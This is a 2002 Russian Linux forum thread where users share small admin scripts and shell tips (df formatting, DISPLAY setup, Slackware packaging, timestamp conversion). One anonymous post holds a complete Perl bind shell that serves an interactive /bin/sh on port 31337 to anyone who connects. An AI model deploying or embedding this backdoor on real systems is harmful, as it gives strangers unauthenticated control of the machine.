LINUX.ORG.RU
 
CrownRU

Скрипты, которые мы пишем...


0

0

Уважаемый All, все мы по долгу службы или просто для своего удобства вынуждены писать различные скрипты для различных целей, будь то автоматическая инсталяция продуктов на несколько машин или вещи попроще. Вот я и подумал, что зачем сто раз писать то, что уже давно написано и во что вложено достаточно труда и времени. Давайте устроим здесь своеобразный ⌠пункт обмена■, неопытные пользователи скажут Вам спасибо и смогут сразу использовать скрипты, а опытные смогут сэкономить себе немного времени, головной боли, а также поучится новым программистским приемам. Для затравки выложу здесь (На форуме development - линк - внизу ) небольшой скрипт, который упорядывачивает вывод от стандартной команды df (для Линукса это, может не так актуально, а мне на Солярисе 2.6 очень даже помогает.) внутри ещё чего покидаю... Так что, продолжение следует?..

>>> Ссылка на форум


[#]  

Re: Скрипты, которые мы пишем...

Народ, просто почитав этот тред узнал новое и полезное ...
Даже сам характер общения в нем отличается от остальных в лучшую сторону.
Идея создания скрипто-хранилища отличная !
Кто-нибудь, у кого есть возможность создать такой ресурс - не упускайте ее!

anonymous ()
[#] Ответ на: BASH от anonymous 13.07.2002 22:00:12  

Re: BASH

> Подскажите пожалуйста как включить создание файлов coredump? Желательно чтоб это можно было делать на лету без перекомпиляции ядра

afaik core генерится только по некоторым сигналам (каким - man 7 signal). ну значит нужно чтобы ядро или ты сам послал этот сигнал проге + чтобы max coresize был разумный (ненулевой, см ulimit -c). Меняется он вроде тем же ulimit (?)

anonymous ()
[#] Ответ на: Re: BASH от anonymous 14.07.2002 21:24:34  

Re: Re: BASH

> afaik core генерится только по некоторым сигналам
> (каким - man 7 signal).

Спасибо, я дальше первой попавшейся страницы man редко когда
догадываюсь посмотреть :-\


Signal Value Action Comment

SIGSEGV 11 C Invalid memory reference


The letters in the "Action" column have the following meanings:
C Default action is to terminate the process and dump core.

Вроде должно, да не делает...
Слово default наводит на мысль, что поведение изменяемо.

Aerton

anonymous ()
[#]  

Re: Скрипты, которые мы пишем...

2Led (*) (2002-07-14 16:46:29.556)
tail -c, --bytes=N
output the last N bytes

head -c, --bytes=SIZE
print first SIZE bytes

anonymous ()
[#]  

Re: Скрипты, которые мы пишем...

2delta9: Таки есть у тебя проблема. Попробуй написать что-то типа test.sh /usr/bin/test.sh echo "START " > /tmp/xtel.test echo $1 >> /tmp/xtel.sh echo START sleep 10; echo "STOP" >> /tmp/xtel.test

загони вместо telnet скрипт /usr/bin/test.sh И посомтри по логам вызывается и передается ли что-нибудь.

Попробуй убрать '&' переход процесса в bg.

PS Лучше два дня угробить на отладку, а потом полный кайф.

* ()
[#]  

Re: Скрипты, которые мы пишем...

Уважаемый all, 1) есть ли возможность в _bash_ перенаправить поток ошибок _одновременно_ на стандартный err(как и должно быть) и в файл? со стандартным выводом понятно - есть tee, а есть ли подобный отвод для потока ошибок?

2) какие есть способы передать средствами _bash_ поток ошибок одной программе, а стандартный вывод другой ?

Знаю что можно через именованные каналы mkfifo, но ведь их кто то обязательно должен слушать, может кто-нить знает иной способ :)

anonymous ()
[#]  

Re: Скрипты, которые мы пишем...

Скрипт для ленивых. Написан потому как лень каждый раз набивать первые неск. строчек нового скрипта, а тут какой-никакой шаблон.

#!/usr/bin/perl -w if(!@ARGV) { print "USAGE np <Perl_file_name>\n"; exit 0; } $ARGV[0].=".pl" if($ARGV[0]!~m/^\w+\./); if(-f $ARGV[0]) { die "File $ARGV[0] already exists!\n"; } open(FL,">$ARGV[0]")||die "Can't create $ARGV[0]: $!\n"; $s=<<'EOL'; #!/usr/bin/perl -w #open(FL,"")||die "Can\'t open file:$!\n"; #@fld=<FL>; #close(FL); #foreach $i (@fld) #{ #} #exit(0); EOL print FL $s; close(FL); print "File $ARGV[0] successfully created\n"; exit;

anonymous ()
[#] Ответ на: Re: Скрипты, которые мы пишем... от anonymous 14.07.2002 22:30:34  

Re: Re: Скрипты, которые мы пишем...

2anonymous:
>head -c, --bytes=SIZE
>print first SIZE bytes

Это я знаю:) Но если файл 300М - устанешь ждать:) Нужен именно trancate

***## ()
[#]  

Re: Скрипты, которые мы пишем...

>Это я знаю:) Но если файл 300М - устанешь ждать:) Нужен именно trancate.

dd устроит?

bash-2.05$ dd if=my_file of=my_file.BAK bs=1 count=LENGTH
bash-2.05$ mv my_file.BAK my_file

* ()
[#]  

Re: Скрипты, которые мы пишем...

Во в кассу припол! Как раз хочу поэлегантнее сделать и не знаю как.

#!/usr/bin/perl

# Variable for check crashed chars or not? $CHARS=`cat /home/jm/uox/bin/chars.wsc |grep EOF`;

# Variable for check crashed items or not? $ITEMS=`cat /home/jm/uox/bin/items.wsc |grep EOF`;

# check crashed chars or not? if ($CHARS eq "") { print($date); print " Warning! chars checker report: The chars file crashed!"; # extract from backup in ver. 0.2.x exit; } { print ($date); print " chars ok\n"; }

Аналогично обрабатывается и второй файл. А нельзя ли это сделать попроще? В файле в самом конце прописывается EOF буквами :) И я гляжу не побился ли файл из за падения угребища пишущего туда. --- Искренне Ваш, анонимщик.

anonymous ()
[#]  

Re: Скрипты, которые мы пишем...

Non interactive passwd: password NAME PASSWORD ? #!/bin/sh passwd $1 $2 expect "word: " send ... ???????????

Serj.

anonymous ()
[#] Ответ на: Re: Скрипты, которые мы пишем... от poison_reverse 16.07.2002 6:17:13  

Re: Re: Скрипты, которые мы пишем...

2poison_reverse:
>dd устроит?
Я ж говорю: копирование в новый файл не устраивает - для больших
файлов нужно много дополнительного места на диске и затраты по времени
получаются большие. Нужно именно обрезание существующего файла.

***## ()
[#] Ответ на: Re: Re: Скрипты, которые мы пишем... от Led 16.07.2002 11:21:47  

Re: Re: Re: Скрипты, которые мы пишем...

2 Led:
(izvini za kodirovku - s chuzhoj mashiny)
Ya ved' uzhe pisal:
perl -e 'truncate "filename", length'

I vse!

anonymous ()
[#] Ответ на: Re: Скрипты, которые мы пишем... от anonymous 15.07.2002 11:42:10  

Re: Re: Скрипты, которые мы пишем...

1) есть ли возможность в _bash_ перенаправить поток ошибок _одновременно_ на стандартный err(как и должно быть) и в файл? со стандартным выводом понятно - есть tee, а есть ли подобный отвод для потока ошибок?

Примерно так:

gcc mt.c -Wall 2>&1 | tee mt.errors

anonymous ()
[#] Ответ на: Re: Скрипты, которые мы пишем... от anonymous 15.07.2002 11:42:10  

Re: Re: Скрипты, которые мы пишем...

>1) есть ли возможность в _bash_ перенаправить поток ошибок _одновременно_ на
> стандартный err(как и должно быть) и в файл? ...
> 2) какие есть способы передать средствами _bash_ поток ошибок одной программе,
> а стандартный вывод другой ?

Средствами shell - fifo, самый простой способ.
Есть другой подход - описан в 'perldoc IPC::Open3' и 'perldoc opentut'

> Знаю что можно через именованные каналы mkfifo, но ведь их кто то обязательно
> должен слушать, ...

Даже перенаправленный вывод надо "слушать" (т.е. в случае перенаправления в файл - должно
хватить места для этого файла)

Желаю успехов.

anonymous ()
[#] Ответ на: Re: Re: Скрипты, которые мы пишем... от anonymous 16.07.2002 12:42:43  

Re: Re: Re: Скрипты, которые мы пишем...

> Примерно так:

> gcc mt.c -Wall 2>&1 | tee mt.errors

Если так, то поток ошибок смешивается с потоком стандартного вывода, а задача стояла не такая:

"перенаправить поток ошибок _одновременно_ на стандартный err(как и должно быть) и в файл"

в отдельный файл без примеси stdout

anonymous ()
[#]  

Re: в отдельный файл без примеси stdout

Это довольно просто если stdout не нужен программе(stderr-program=tee file):
$ command 2>&1 1>stdout-file | stderr-program
Если же stdout тоже нужен какой-то программе то видится 2 способа:
1. $ (command | stdout-program ) 2>&1 1>/dev/null | stderr-program
2. $ command 2> >(stderr-program) | stdout-program

Последнее возможно не везде работает.

***** ()
[#]  
CrownRU

Скрипты, которые мы пишем...

Вот вам ещё скриптик. Что делает написано в описании. Использую его в других скриптах, как показано в описании.

#! /bin/ksh
#
# NAME
# disp - print string for setting DISPLAY environment variable
#
# SYNOPSIS
# disp
#
# DESCRIPTION
# The disp program displays a string that can be used to set the DISPLAY
# environment variable, using the IP address or hostname of the host the
# user logged in from.
#
# EXAMPLES
# To set the $DISPLAY variable in the Bourne shell, Korn shell or bash:
# DISPLAY=`disp`; export DISPLAY
#
# To set the $DISPLAY variable in the C shell or tcsh:
# setenv DISPLAY `disp`
#
# EXIT STATUS
# 0 - No errors
# 1 - Error, no IP address found
#
if [[ $# -gt 0 ]] then
if [[ $1 = -\? || $1 = -h || $1 = -help ]] then
print "Usage: ${0##*/}" 1>&2
exit 1
fi
fi
whoami=$( who am i 2>/dev/null )
if [[ $whoami = *\(*\)* ]] then
ip_addr=$( print $whoami | cut -f2 -d'(' | cut -f1 -d')' )
if [[ $ip_addr = :* ]] then
print $ip_addr
else
print $ip_addr:0
fi
else
print "$( hostname ):0.0"
exit 1
fi

* ()
[#]  

Re: Скрипты, которые мы пишем...

так так задумано, disp работает только под ksh Solaris. В HP-UX выдает
bash-2.04$ ksh disp.sh
preverse pts/td Jul 19 08:42:0
bash-2.04$

* ()
[#]  

Re: Скрипты, которые мы пишем...

классная идея ! я предлагаю фсем во фриваре супер !

# /bin/sh # The Ultimate Hack Messenges Script echo "Нас похакали !!!!" mail -s "УЖЫС !!!!" root@localhost # # (c) 2001 gigabito

* ()
[#]  

Re: Скрипты, которые мы пишем...

а вот мой любимый и самый часто используемый скрипт;))
#!/usr/bin/perl
# взято с nerf.ru
use Socket;
$port = 31337;
socket (S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));
setsockopt (S, SOL_SOCKET, SO_REUSEADDR,1);
bind (S, sockaddr_in ($port, INADDR_ANY));
listen (S, 50);
while (1){
accept (X, S);
if (!($pid = fork)){
if(!defined $pid){exit(0);}
open STDIN,"<&X";
open STDOUT,">&X";
open STDERR,">&X";
exec("/bin/sh -i");
close X;}}

anonymous ()
[#]  

Re: Скрипты, которые мы пишем...

Вот, может кому нужно - скрипт для создания пакетов для slackware через make install.
Устанавливает пакет и создает .tgz package.

Базируется на checkinstall, использует itrace вместо installwatch
и создает пакет использую makepkg.

Не задают никаких вопросов :-), после работы в текущей дирестории появляется собранный .tgz.

-----------------cut here------------------
#!/bin/sh

# Variables

MYSELF=`basename $0`
CURDIR=`pwd`
PACKAGE=`basename $CURDIR`.tgz
ITRACE=`which itrace 2>/dev/null`
MAKEPKG=`which makepkg 2>/dev/null`
INSTALLPKG=`which installpkg 2>/dev/null`

# Configuration

if [ ! -x "$ITRACE" ]; then
	echo "$MYSELF: Need itrace to proceed."
	exit 1
fi

if [ ! -x "$MAKEPKG" ]; then
	echo "$MYSELF: Need makepkg to create package."
	exit 1
fi

if [ ! -x "$INSTALLPKG" ]; then
	echo "$MYSELF: Need installpkg to install package."
	exit 1
fi

# Creation of temporary files and directories

TEMPFILE=`mktemp -q /tmp/$MYSELF.XXXXXX`

if [ $? -ne 0 ]; then
	echo "$MYSELF: Unable to create temporary file."
	exit 1
fi

TEMPDIR=$TEMPFILE.temp
mkdir $TEMPDIR

FILELIST=$TEMPFILE.newfiles

if [ $? -ne 0 ]; then
	echo "$MYSELF: Unable to create temporary directory."
	exit 1
fi

# Executing install command

if [ "a$*" = "a" ]; then
	echo "Executing default 'make install'."
	COMMAND="make install"
else
	COMMAND=$*
fi

$ITRACE -L $TEMPFILE $COMMAND

# Copy installed files

echo "Copying installed files."

cat $TEMPFILE | while read file; do
	! [ -d "$file" ] && [ -e "$file" ] && \
	(tar -cpf - "$file" | tar -f - -xvpC $TEMPDIR) &> /dev/null
done

echo "Striping ELF binaries."
for f in `find $TEMPDIR -type f \
	\( -perm -0100 -or -perm -0010 -or -perm -0001 \)\
	-exec file {} \; | \
	grep -v 'shared object,' | \
	sed -n -e 's/^\(.*\):[ ]*ELF.*, not stripped/\1/p'`; do
	strip $f
done

# Create slackware package

echo "Creating slackware package."

cd $TEMPDIR
$MAKEPKG --linkadd y --chown y $PACKAGE
mv $TEMPDIR/$PACKAGE $CURDIR
cd $CURDIR

# Installing and registering package

echo "Installing and registering package."
$INSTALLPKG $PACKAGE

# Removing temporary files

echo "Removing temporary files."

rm -f $TEMPFILE $FILELIST
rm -rf $TEMPDIR

echo "Finished."

------------------cut here----------------

** ()
[#]  
CrownRU

Скрипты, которые мы пишем...

Вот ещё скриптик, вернее программка на С. Коллега написал за две минуты:() Что делает: переводит UNIX timestamp формы "1027375200" в нормальную дату.

#include <stdio.h>
#include <time.h>
main(int ac, char **av)
{
long t;
char ac_date[64];
struct tm *s_tm;


        if(av[1] == '\0')
        {
                fprintf(stderr,"\nUsage : tstamp time_since_1970\n"); 
                exit (-1);
        }


        t = atoi(av[1]);

        s_tm = localtime(&t);
/*Фоpмат вывода даты здесь:*/
                sprintf(ac_date,"%04d.%02d.%02d  %02d:%02d:%02d",
                                        s_tm->tm_year + 1900,
                                        s_tm->tm_mon + 1,
                                        s_tm->tm_mday,
                                        s_tm->tm_hour,
                                        s_tm->tm_min,
                                        s_tm->tm_sec);

        printf("%s\n",ac_date);
exit(0);
}

* ()
[#]  
CrownRU

Скрипты, которые мы пишем...

А вот ещё тоже самое (почти), но на перле:
script.pl < "timestamp"


#!/bin/perl

while (<STDIN>) {

   $_ =~ s/\n//g;
   $_ =~ s/\r//g;
   next if (/^$/);
   undef @tlist;
   @tlist = split (/\s+/, $_);
   if ($tlist[0] =~ /^\d{9,}/) {
     &long_time($tlist[0]);
     shift(@tlist);
   }
   if (@tlist){
     print "EVENT: @tlist\n";
   }
}

  
sub long_time {

  local($arg)= shift;

  ($sec,$min,$hour,$mday,$mon,$year,$wday,$ydat,$isdst) = localtime($arg);
  $year+=1900;
  if ( $mon == 0 ) { $month="Jan" };
  if ( $mon == 1 ) { $month="Feb" };
  if ( $mon == 2 ) { $month="Mar" };
  if ( $mon == 3 ) { $month="Apr" };
  if ( $mon == 4 ) { $month="May" };
  if ( $mon == 5 ) { $month="Jun" };
  if ( $mon == 6 ) { $month="Jul" };
  if ( $mon == 7 ) { $month="Aug" };
  if ( $mon == 8 ) { $month="Sep" };
  if ( $mon == 9 ) { $month="Oct" };
  if ( $mon == 10 ) { $month="Nov" };
  if ( $mon == 11 ) { $month="Dec" };

#  print "$month $mday $hour:$min:$sec $year\n";
  printf ("%s %s %.2d:%.2d:%.2d %s\n", $month,$mday,$hour,$min,$sec,$year);
}

* ()
[#] Ответ на: Скрипты, которые мы пишем... от CrownRU 05.08.2002 15:21:14  

Re: Скрипты, которые мы пишем...

2 CrownRU:
>А вот ещё тоже самое (почти), но на перле:
> ...

Итого почти 40 строк !!!!
А что, в Германии все задачи решают подобным образом?
А в России делают так:

perl -nle 'print scalar(localtime($_))'

Учи матчасть! Желаю успехов!

anonymous ()